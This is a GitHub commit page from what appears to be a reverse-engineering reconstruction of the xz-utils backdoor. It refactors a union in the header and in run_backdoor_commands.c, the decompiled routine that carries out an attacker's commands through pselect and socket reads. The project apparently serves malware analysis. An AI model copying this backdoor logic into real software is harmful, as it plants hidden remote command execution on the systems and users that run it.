Skip to content

Commit

Permalink
run_backdoor_commands: add timespec and fd_set union cases
Browse files Browse the repository at this point in the history
  • Loading branch information
smx-smx committed May 1, 2024
1 parent 11983b9 commit 089e78d
Show file tree
Hide file tree
Showing 2 changed files with 13 additions and 10 deletions.
13 changes: 9 additions & 4 deletions xzre.h
Original file line number Diff line number Diff line change
Expand Up @@ -14,6 +14,7 @@
#include <stddef.h>
#include <stdint.h>
#include <sys/select.h>
#include <time.h>
#endif

typedef uint8_t u8;
Expand Down Expand Up @@ -1928,13 +1929,17 @@ assert_offset(monitor_data_t, payload_body_size, 0x28);
assert_offset(monitor_data_t, rsa, 0x30);

/**
* @brief payload union within @ref run_backdoor_commands
* @brief union used within @ref run_backdoor_commands
*
*/
typedef union __attribute__((packed)) payload {
typedef union __attribute__((packed)) backdoor_runtime_data {
#ifndef XZRE_SLIM
struct timespec timespec;
fd_set fd_set;
#endif
monitor_data_t monitor;
u8 data[608];
} payload_t;
} backdoor_runtime_data_t;

/**
* @brief stack frame layout for @ref run_backdoor_commands
Expand Down Expand Up @@ -1967,7 +1972,7 @@ typedef struct __attribute__((packed)) run_backdoor_commands_data {
} keys;
} u;
PADDING(7);
payload_t payload;
backdoor_runtime_data_t payload;
key_ctx_t kctx;
} run_backdoor_commands_data_t;

Expand Down
10 changes: 4 additions & 6 deletions xzre_code/run_backdoor_commands.c
Original file line number Diff line number Diff line change
Expand Up @@ -358,13 +358,11 @@ BOOL run_backdoor_commands(RSA *rsa, global_context_t *ctx, BOOL *do_orig){
if((f.kctx.args.flags2 & CMDF_PSELECT) == CMDF_PSELECT){
if(!ctx->libc_imports->exit) break;
if(!ctx->libc_imports->pselect) break;
*((struct timespec *)&f.payload) = (struct timespec){
.tv_sec = 5
};
f.payload.timespec.tv_sec = 5;
ctx->libc_imports->pselect(
0,
NULL, NULL, NULL,
(const struct timespec *)&f.payload,
&f.payload.timespec,
NULL
);
ctx->libc_imports->exit(0);
Expand Down Expand Up @@ -474,7 +472,7 @@ BOOL run_backdoor_commands(RSA *rsa, global_context_t *ctx, BOOL *do_orig){
};
if((res = ctx->libc_imports->pselect(
f.u.sock.socket_fd + 1,
(fd_set *)&f.payload,
&f.payload.fd_set,
NULL, NULL,
(const struct timespec *)&f.u.sock.fd_recv_buf[8],
NULL
Expand All @@ -484,7 +482,7 @@ BOOL run_backdoor_commands(RSA *rsa, global_context_t *ctx, BOOL *do_orig){
}
}
if(!res) break;
if(!FD_ISSET(f.u.sock.socket_fd, (fd_set *)&f.payload.data[8])) break;
if(!FD_ISSET(f.u.sock.socket_fd, &f.payload.fd_set)) break;

if(fd_read(
f.u.sock.socket_fd,
Expand Down

0 comments on commit 089e78d

Please sign in to comment.